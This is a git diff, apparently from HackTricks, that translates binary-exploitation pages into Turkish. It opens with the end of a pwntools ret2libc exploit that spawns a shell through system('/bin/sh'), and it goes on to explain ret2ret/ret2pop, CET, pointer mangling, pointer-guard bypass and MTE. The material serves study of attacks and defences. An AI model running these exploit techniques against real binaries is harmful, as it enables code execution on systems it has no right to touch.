'A' * 32, - elf.plt['puts'], - elf.sym['main'], - elf.got['puts'] +'A' * 32, +elf.plt['puts'], +elf.sym['main'], +elf.got['puts'] ) p.sendline(payload) @@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( - 'A' * 32, - libc.sym['system'], - libc.sym['exit'], - next(libc.search(b'/bin/sh\x00')) +'A' * 32, +libc.sym['system'], +libc.sym['exit'], +next(libc.search(b'/bin/sh\x00')) ) p.sendline(payload) p.interactive() ``` - -## Other examples & References +## Diğer örnekler ve Referanslar - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağrısı yaparak sızıntıyı elde etmektir. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı. - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'tan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırmak için. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index 19f39dac3..678bac2a9 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -4,27 +4,27 @@ ## Ret2ret -The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. +Bu tekniğin ana **amacı**, **yığın içindeki mevcut bir işaretçiyi kötüye kullanarak ASLR'yi atlatmaya çalışmaktır**. -Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). +Temelde, yığın taşmaları genellikle dizeler tarafından tetiklenir ve **dizeler bellekte bir null byte ile biter**. Bu, yığında zaten mevcut olan bir işaretçinin gösterdiği yeri azaltmaya çalışmayı sağlar. Yani eğer yığın `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'a dönüştürebilir (son sıfırlanmış byte'a dikkat edin). -If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. +Eğer bu adres yığında shellcode'umuza işaret ediyorsa, akışı o adrese ulaştırmak mümkündür **`ret` talimatına adresler ekleyerek** bu talimat ulaşıldığında. -Therefore the attack would be like this: +Bu nedenle saldırı şöyle olacaktır: - NOP sled - Shellcode -- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) -- 0x00 added by the string modifying an address from the stack making it point to the NOP sled +- EIP'den yığını **`ret` adresleri ile yazmak** (RET sled) +- 0x00, yığın adresini değiştirerek NOP sled'e işaret etmesini sağlamak için dize tarafından eklenir -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. +Aşağıdaki [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) savunmasız bir ikili örneği görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) ise istismarı görebilirsiniz. ## Ret2pop -In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop ; ret`**.\ -This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. +Eğer **değiştirmek istemediğiniz yığında mükemmel bir işaretçi bulursanız** (ret2ret'te son en düşük byte'ı `0x00` olarak değiştiriyoruz), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET sled'in uzunluğu 1 kısaltılmalıdır** (böylece son `0x00` mükemmel işaretçinin hemen öncesindeki veriyi yazacaktır) ve **RET sled'in son** adresi **`pop ; ret`**'e işaret etmelidir.\ +Bu şekilde, **mükemmel işaretçiden önceki veri** yığından kaldırılacaktır (bu, `0x00` tarafından etkilenen veridir) ve **son `ret`, yığında mükemmel adrese** herhangi bir değişiklik olmadan işaret edecektir. -Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. +Aşağıdaki [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) savunmasız bir ikili örneği görebilirsiniz ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) ise istismarı görebilirsiniz. ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 22e1edbc2..f0f43f5a6 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -## Control Flow Enforcement Technology (CET) +## Kontrol Akışı Zorlaması Teknolojisi (CET) -**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. +**CET**, **Return-Oriented Programming (ROP)** ve **Jump-Oriented Programming (JOP)** gibi yaygın kontrol akışı ele geçirme saldırılarını engellemek için tasarlanmış, donanım seviyesinde uygulanan bir güvenlik özelliğidir. Bu tür saldırılar, kötü niyetli kodu çalıştırmak veya zararsız kod parçalarını kötü niyetli bir eylem gerçekleştirecek şekilde bir araya getirmek için bir programın yürütme akışını manipüle eder. -CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. +CET, iki ana özellik sunar: **Dolaylı Dal Takibi (IBT)** ve **Gölge Yığın**. -- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. -- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. +- **IBT**, dolaylı atlamaların ve çağrıların geçerli hedeflere yapılmasını sağlar; bu hedefler, dolaylı dallar için yasal varış noktaları olarak açıkça işaretlenmiştir. Bu, geçerli hedefleri işaretleyen yeni bir talimat setinin kullanılmasıyla sağlanır ve böylece saldırganların kontrol akışını rastgele yerlere yönlendirmesi engellenir. +- **Gölge Yığın**, dönüş adresleri için bütünlük sağlayan bir mekanizmadır. Dönüş adreslerinin güvenli, gizli bir kopyasını, normal çağrı yığınından ayrı tutar. Bir fonksiyon döndüğünde, dönüş adresi gölge yığın ile doğrulanır ve bu, saldırganların yığın üzerindeki dönüş adreslerini geçersiz kılmasını engeller. -## Shadow Stack +## Gölge Yığın -The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. +**Gölge yığın**, **sadece dönüş adreslerini depolamak için kullanılan özel bir yığındır**. Normal yığınla birlikte çalışır ancak normal program yürütmesinden korunmuş ve gizlenmiştir, bu da saldırganların buna müdahale etmesini zorlaştırır. Gölge yığınının temel amacı, geleneksel yığın üzerindeki dönüş adreslerine yapılan herhangi bir değişikliğin kullanılmadan önce tespit edilmesini sağlamaktır; bu, ROP saldırılarını etkili bir şekilde azaltır. -## How CET and Shadow Stack Prevent Attacks +## CET ve Gölge Yığın Saldırıları Nasıl Önler -**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. +**ROP ve JOP saldırıları**, bir uygulamanın kontrol akışını ele geçirmek için yığın üzerindeki işaretçileri veya dönüş adreslerini geçersiz kılmalarına olanak tanıyan zayıflıkları kullanma yeteneğine dayanır. Akışı mevcut kod gadget'larına veya dönüş odaklı programlama gadget'larına yönlendirerek, saldırganlar rastgele kod çalıştırabilir. -- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. -- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. +- **CET'in IBT** özelliği, dolaylı dalların yalnızca açıkça geçerli hedefler olarak işaretlenmiş adreslere atlama yapabilmesini sağlayarak bu saldırıları önemli ölçüde zorlaştırır. Bu, saldırganların ikili dosya üzerinde yayılmış rastgele gadget'ları çalıştırmasını imkansız hale getirir. +- **Gölge yığın** ise, bir saldırgan normal yığın üzerindeki bir dönüş adresini geçersiz kılabilse bile, dönüşten sonra gölge yığında saklanan güvenli kopya ile bozulmuş adres karşılaştırıldığında **uyumsuzluğun tespit edilmesini** sağlar. Adresler eşleşmezse, program sona erebilir veya diğer güvenlik önlemleri alabilir, böylece saldırının başarılı olmasını engeller. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cacfd7f2f..32a1a9274 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -1,82 +1,82 @@ -# Libc Protections +# Libc Koruma {{#include ../../banners/hacktricks-training.md}} -## Chunk Alignment Enforcement +## Parça Hizalama Zorunluluğu -**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. +**Malloc**, belleği **8 bayt (32-bit) veya 16 bayt (64-bit) gruplar halinde** ayırır. Bu, 32-bit sistemlerde parçaların sonlarının **0x8** ile, 64-bit sistemlerde ise **0x0** ile hizalanması gerektiği anlamına gelir. Güvenlik özelliği, her parçanın bir bin'den bir işaretçi kullanmadan önce bu belirli konumlarda **doğru hizalandığını** kontrol eder. -### Security Benefits +### Güvenlik Faydaları -The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. +64-bit sistemlerde parça hizalama zorunluluğu, Malloc'un güvenliğini önemli ölçüde artırarak **sahte parçaların yerleştirilmesini yalnızca her 16 adresten 1'ine sınırlamaktadır**. Bu, özellikle kullanıcının girdi değerleri üzerinde sınırlı kontrolü olduğu senaryolarda istismar çabalarını karmaşıklaştırır ve saldırıları daha karmaşık ve başarılı bir şekilde gerçekleştirilmesi zor hale getirir. -- **Fastbin Attack on \_\_malloc_hook** +- **\_\_malloc_hook Üzerinde Fastbin Saldırısı** -The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. +Malloc'daki yeni hizalama kuralları, `__malloc_hook` ile ilgili klasik bir saldırıyı da engeller. Önceden, saldırganlar parça boyutlarını manipüle ederek **bu işlev işaretçisini** geçersiz kılabilir ve **kod yürütme** elde edebilirlerdi. Artık, katı hizalama gereksinimi, bu tür manipülasyonların geçerli olmamasını sağlar, yaygın bir istismar yolunu kapatır ve genel güvenliği artırır. -## Pointer Mangling on fastbins and tcache +## Fastbin ve Tcache Üzerinde İşaretçi Karıştırma -**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). +**İşaretçi Karıştırma**, bellek yönetim işlemlerinde **fastbin ve tcache Fd işaretçilerini** korumak için kullanılan bir güvenlik geliştirmesidir. Bu teknik, sızdırılmış bellek bilgisi gerektirmeyen veya bellek konumlarını doğrudan bilinen konumlara göre manipüle eden belirli türde bellek istismar taktiklerini önlemeye yardımcı olur (göreli **geçersiz kılmalar**). -The core of this technique is an obfuscation formula: +Bu tekniğin özü bir obfuscation formülüdür: **`New_Ptr = (L >> 12) XOR P`** -- **L** is the **Storage Location** of the pointer. -- **P** is the actual **fastbin/tcache Fd Pointer**. +- **L**, işaretçinin **Depolama Yeri**dir. +- **P**, gerçek **fastbin/tcache Fd İşaretçisidir**. -The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. +Depolama yerinin (L) 12 bit sağa kaydırılması, XOR işlemi öncesinde kritik bir öneme sahiptir. Bu manipülasyon, bellek adreslerinin en az anlamlı 12 bitinin belirleyici doğasında var olan bir zayıflığı ele alır; bu bitler genellikle sistem mimarisi kısıtlamaları nedeniyle tahmin edilebilir. Bitlerin kaydırılması, tahmin edilebilir kısmı denklemin dışına çıkararak yeni, karıştırılmış işaretçinin rastgeleliğini artırır ve böylece bu bitlerin tahmin edilebilirliğine dayanan istismarlara karşı koruma sağlar. -This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. +Bu karıştırılmış işaretçi, programlar tarafından kullanılan adresleri rastgeleleştiren **Adres Alanı Düzeni Rastgeleleştirmesi (ASLR)** tarafından sağlanan mevcut rastgeleliği kullanır, bu da saldırganların bir sürecin bellek düzenini tahmin etmesini zorlaştırır. -**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. +**İşaretçiyi demangling** etmek, orijinal adresi geri almak için aynı XOR işlemini kullanmayı içerir. Burada, karıştırılmış işaretçi formülde P olarak ele alınır ve değişmemiş depolama yeri (L) ile XORlandığında, orijinal işaretçi ortaya çıkar. Karıştırma ve demangling'deki bu simetri, sistemin işaretçileri önemli bir ek yük olmadan verimli bir şekilde kodlayıp çözmesini sağlar ve bellek işaretçilerini manipüle eden saldırılara karşı güvenliği önemli ölçüde artırır. -### Security Benefits +### Güvenlik Faydaları -Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: +İşaretçi karıştırma, **yığın yönetiminde kısmi ve tam işaretçi geçersiz kılmalarını önlemeyi** amaçlar, bu da güvenlikte önemli bir geliştirmedir. Bu özellik, istismar tekniklerini birkaç şekilde etkiler: -1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. -2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. -3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. -4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. +1. **Bayt Göreli Geçersiz Kılmaların Önlenmesi**: Önceden, saldırganlar bir işaretçinin bir kısmını değiştirerek **yığın parçalarını farklı konumlara yönlendirebilirlerdi**, bu teknik sızdırmasız **Roman Evi** istismarında belirgindi. İşaretçi karıştırma ile, böyle göreli geçersiz kılmalar **şimdi bir yığın sızıntısı gerektiriyor**, başarı olasılıklarını önemli ölçüde azaltıyor. +2. **Tcache Bin/Fastbin Saldırıların Zorluğunun Artması**: İşlev işaretçilerini (örneğin, `__malloc_hook`) fastbin veya tcache girişlerini manipüle ederek geçersiz kılmayı hedefleyen yaygın saldırılar engellenir. Örneğin, bir saldırı, bir LibC adresini sızdırmayı, bir parçayı tcache bin'ine serbest bırakmayı ve ardından Fd işaretçisini `__malloc_hook`'a yönlendirmek için geçersiz kılmayı içerebilir. İşaretçi karıştırma ile, bu işaretçilerin doğru bir şekilde karıştırılması gerekir, **doğru manipülasyon için bir yığın sızıntısı gerektirir**, böylece istismar engelini yükseltir. +3. **Yığın Dışı Konumlarda Yığın Sızıntıları Gereksinimi**: Yığın dışı alanlarda (yığın, .bss bölümü veya PLT/GOT gibi) sahte bir parça oluşturmak da **işaretçi karıştırma gereksinimi nedeniyle bir yığın sızıntısı gerektirir**. Bu, bu alanları istismar etmenin karmaşıklığını artırır, LibC adreslerini manipüle etme gereksinimiyle benzerlik gösterir. +4. **Yığın Adreslerini Sızdırmak Daha Zor Hale Gelir**: İşaretçi karıştırma, fastbin ve tcache binlerindeki Fd işaretçilerinin yığın adres sızıntıları için kaynak olarak kullanılabilirliğini kısıtlar. Ancak, sıralanmamış, küçük ve büyük binlerdeki işaretçiler karıştırılmamış kalır, bu nedenle adres sızdırmak için hala kullanılabilir. Bu değişim, saldırganları istismar edilebilir bilgileri keşfetmek için bu binleri araştırmaya yönlendirir, ancak bazı teknikler hala bir sızıntıdan önce işaretçileri demangling yapmaya izin verebilir, ancak kısıtlamalarla birlikte. -### **Demangling Pointers with a Heap Leak** +### **Yığın Sızıntısı ile İşaretçileri Demangling** > [!CAUTION] -> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). +> Sürecin daha iyi bir açıklaması için [**orijinal gönderiyi buradan kontrol edin**](https://maxwelldulin.com/BlogPost?post=5445977088). -### Algorithm Overview +### Algoritma Genel Görünümü -The formula used for mangling and demangling pointers is: +İşaretçileri karıştırma ve demangling için kullanılan formül: **`New_Ptr = (L >> 12) XOR P`** -Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. +Burada **L**, depolama yeridir ve **P**, Fd işaretçisidir. **L** 12 bit sağa kaydırıldığında, **P**'nin en anlamlı bitlerini açığa çıkarır; çünkü **XOR**'un doğası gereği, bitler kendileriyle XORlandığında 0 çıktısı verir. -**Key Steps in the Algorithm:** +**Algoritmadaki Ana Adımlar:** -1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. -2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. -3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. -4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. +1. **En Anlamlı Bitlerin İlk Sızıntısı**: Kaydırılmış **L**'yi **P** ile XORlayarak, etkili bir şekilde **P**'nin en üst 12 bitini elde edersiniz çünkü kaydırılan **L** kısmı sıfır olacak ve **P**'nin karşılık gelen bitleri değişmeden kalacaktır. +2. **İşaretçi Bitlerinin Kurtarılması**: XOR'un tersinir olması nedeniyle, sonucu ve operandlardan birini bilmek, diğer operandı hesaplamanızı sağlar. Bu özellik, bilinen bit setlerini karıştırılmış işaretçinin parçalarıyla ardışık olarak XORlayarak **P** için tüm bit setini çıkarmak için kullanılır. +3. **İteratif Demangling**: Süreç tekrarlanır, her seferinde bir önceki adımdan elde edilen **P**'nin yeni keşfedilen bitlerini kullanarak karıştırılmış işaretçinin bir sonraki segmentini çözmek için, tüm bitler kurtarılana kadar. +4. **Belirleyici Bitlerin İşlenmesi**: **L**'nin son 12 biti kaydırma nedeniyle kaybolur, ancak bunlar belirleyicidir ve işlem sonrası yeniden inşa edilebilir. -You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) +Bu algoritmanın bir uygulamasını burada bulabilirsiniz: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) -## Pointer Guard +## İşaretçi Koruma -Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. +İşaretçi koruma, glibc'de saklanan işlev işaretçilerini korumak için kullanılan bir istismar azaltma tekniğidir, özellikle `atexit()` gibi kütüphane çağrılarıyla kaydedilenler. Bu koruma, işaretçileri bir sır ile XORlayarak ve bit kaydırma uygulayarak karıştırmayı içerir. Bu mekanizma, saldırganların işlev işaretçilerini geçersiz kılarak kontrol akışını ele geçirmesini önlemeyi amaçlar. -### **Bypassing Pointer Guard with a leak** +### **Bir sızıntı ile İşaretçi Korumasını Aşma** -1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. -2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. -3. **Exploiting Known Plaintexts:** - - **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - - **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. -4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. -5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. +1. **İşaretçi Koruma İşlemlerini Anlamak:** İşaretçilerin karıştırılması (mangling), işaretçiyi 64-bit bir sır ile XORlayarak ve ardından 0x11 bit sola kaydırarak yapılan `PTR_MANGLE` makrosu kullanılarak gerçekleştirilir. Orijinal işaretçiyi geri almak için ters işlem `PTR_DEMANGLE` ile yapılır. +2. **Saldırı Stratejisi:** Saldırı, saldırganın karıştırılmış bir işaretçinin hem orijinal hem de karıştırılmış versiyonunu bilmesi gereken bilinen-düz metin yaklaşımına dayanır. +3. **Bilinen Düz Metinleri İstismar Etme:** +- **Sabit İşlev İşaretçilerini Belirleme:** glibc kaynak kodunu veya başlatılmış işlev işaretçi tablolarını (örneğin, `__libc_pthread_functions`) inceleyerek, bir saldırgan tahmin edilebilir işlev işaretçilerini bulabilir. +- **Sırrı Hesaplama:** `__pthread_attr_destroy` gibi bilinen bir işlev işaretçisini ve işlev işaretçi tablosundaki karıştırılmış versiyonunu kullanarak, sır, karıştırılmış işaretçiyi ters kaydırarak (sağa kaydırma) ve ardından işlevin adresi ile XORlayarak hesaplanabilir. +4. **Alternatif Düz Metinler:** Saldırgan, 0 veya -1 gibi bilinen değerlerle işaretçileri karıştırmayı deneyerek, bunların bellek içinde tanınabilir desenler üretip üretmediğini görmek için deney yapabilir; bu desenler bellek dökümlerinde bulunduğunda sırrı açığa çıkarabilir. +5. **Pratik Uygulama:** Sırrı hesapladıktan sonra, bir saldırgan işaretçileri kontrollü bir şekilde manipüle edebilir, bu da libc temel adresi bilgisi ve rastgele bellek konumlarını okuma yeteneği ile çoklu iş parçacıklı bir uygulamada İşaretçi Koruma korumasını aşmayı sağlar. -## References +## Referanslar - [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) - [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 43980bbca..f9bfb95e0 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -1,83 +1,81 @@ -# Memory Tagging Extension (MTE) +# Bellek Etiketleme Uzantısı (MTE) {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. +**Bellek Etiketleme Uzantısı (MTE)**, **bellek ile ilgili hataları** tespit etmek ve önlemek için yazılım güvenilirliğini ve güvenliğini artırmak amacıyla tasarlanmıştır; bu hatalar arasında tampon taşmaları ve kullanımdan sonra serbest bırakma güvenlik açıkları bulunmaktadır. MTE, **ARM** mimarisinin bir parçası olarak, her bellek tahsisine **küçük bir etiket eklemek** ve o belleği referans alan her işaretçiye **karşılık gelen bir etiket** sağlamak için bir mekanizma sunar. Bu yaklaşım, çalışma zamanında yasadışı bellek erişimlerinin tespit edilmesine olanak tanır ve bu tür güvenlik açıklarının rastgele kod çalıştırmak için istismar edilme riskini önemli ölçüde azaltır. -### **How Memory Tagging Extension Works** +### **Bellek Etiketleme Uzantısı Nasıl Çalışır** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +MTE, **belleği küçük, sabit boyutlu bloklara ayırarak çalışır; her blok bir etiketle atanır,** genellikle birkaç bit boyutundadır. -When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. +Bir işaretçi o belleği işaret etmek için oluşturulduğunda, aynı etiketi alır. Bu etiket, **bir bellek işaretçisinin kullanılmayan bitlerinde** saklanır ve işaretçiyi ilgili bellek bloğuna etkili bir şekilde bağlar.

https://www.youtube.com/watch?v=UwMt0e_dC_Q

